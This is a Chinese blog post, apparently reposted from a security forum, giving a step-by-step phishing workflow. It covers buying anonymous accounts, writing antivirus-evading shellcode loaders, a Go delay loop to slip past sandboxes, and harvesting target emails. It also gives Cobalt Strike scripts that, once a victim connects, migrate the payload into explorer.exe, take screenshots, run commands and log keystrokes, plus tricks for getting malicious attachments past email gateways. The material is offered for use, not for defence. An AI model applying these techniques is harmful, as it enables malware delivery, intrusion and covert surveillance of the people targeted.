社工钓鱼基本流程
2023-9-23 15:24:40 Author: xz.aliyun.com(查看原文) 阅读量:15 收藏

前言

穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。

社交账号

准备一些社交账号,如微信、QQ、脉脉、BOSS直聘、猎聘,手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册,如果你有匿名的渠道购买更好。

邮箱方面,一般常用QQ邮箱、163邮箱,这些目前还是有渠道可以购买的,没钱或者担心购买不可靠,跟身边亲朋好友借也行。

免杀马

免杀的马子是必备的,如果你是和我一样的免杀弟弟,我推荐先学习shellcode loader的一些编写思路
ShellcodeLoader

基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存

  • 申请内存:VirtualAlloc
  • 载入内存:memcpy
  • 执行内存:CreateThread WaitForSingleObject
    针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。

主要还是查文档自己多动手,学完就算不会写免杀马,改改别人GitHub的马子,过国内360火绒基本没问题,然后就是研究下捆绑exe释放正常文件,搞不懂直接给马子弹个框文件已损坏,无法打开也行,不然经常出现对方问你这文件怎么打不开...

平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,进行修改增加签名功能。360QVM_bypass-public

bypass沙箱

为了延长马子存活时间,基本的沙箱对抗少不了,毕竟有防守人员的话,你投递的木马基本都得沙箱走一走,以微步沙箱为例,最简单的循环打印。

使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。

//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
func add() {
    start := time.Now() //获取当前时间
    //1000000  1m2.793228s
    sum, i := 0, 1
    for i < 1000000 {
        fmt.Println(i)
        sum += i
        i++
    }
    elapsed := time.Since(start)
    fmt.Println("该函数执行完成耗时:", elapsed)
}

将如上代码放在shellcode执行前就行。

信息收集

思维导图如下,每个人都有自己的思路,我就简单讲解几个。

零零信安直接搜索公司名称,得到一些邮箱地址

拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。
如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式

C2搭建准备

常用的就cs,基本的套层CDN然后c2上线端口反代下,这里我会用到cs插件脚本
PushPlus2

常用的就是上线提醒、自动迁移进程

#自动迁移进程
    sub callback{
        $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
        # 要迁移的进程
        $listener = "ecloud";
        # 监听器名字此处为ecloud记得修改为自己的
        if ($2 ismatch $regex){
            $pid = matched()[1];
            $inject_pid = $pid;
            if (-is64 $1){
                $arch = "x64";
            }
            else{
                $arch = "x86";
            }
            binject($1, $pid, $listener, $arch);
        }
    }
    if($inject_pid != beacon_info($1,"pid")){
        bps($1, &callback);
    }

还有上线自动截图功能,就算目标掉了起码还有张图证明上线过

#只截一张图
    #binput($1, "screenshot");
    #bscreenshot($1);

    #连续截图
    binput($1, "screenwatch");
    bscreenwatch($1);

其他的上线自动执行shell命令、键盘记录看自己需求吧

#执行自定义cmd命令
    bshell($1, "ipconfig /all");
    #键盘记录
    bkeylogger($1);

还有其他需求可以去翻翻文档Aggressor Script

如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务,可以考虑下写个cs脚本上线自动bypass uac,加权限维持。

邮件网关/沙箱

默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。

  • 针对正文
    不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。
  • 针对附件
    文件名加密,解压密码写在附件名上。

开钓

通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。

上线后的操作

参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)

总结

本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。

参考

360QVM_bypass
ShellcodeLoader
分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)


文章来源: https://xz.aliyun.com/t/12879
如有侵权请联系:admin#unsafe.sh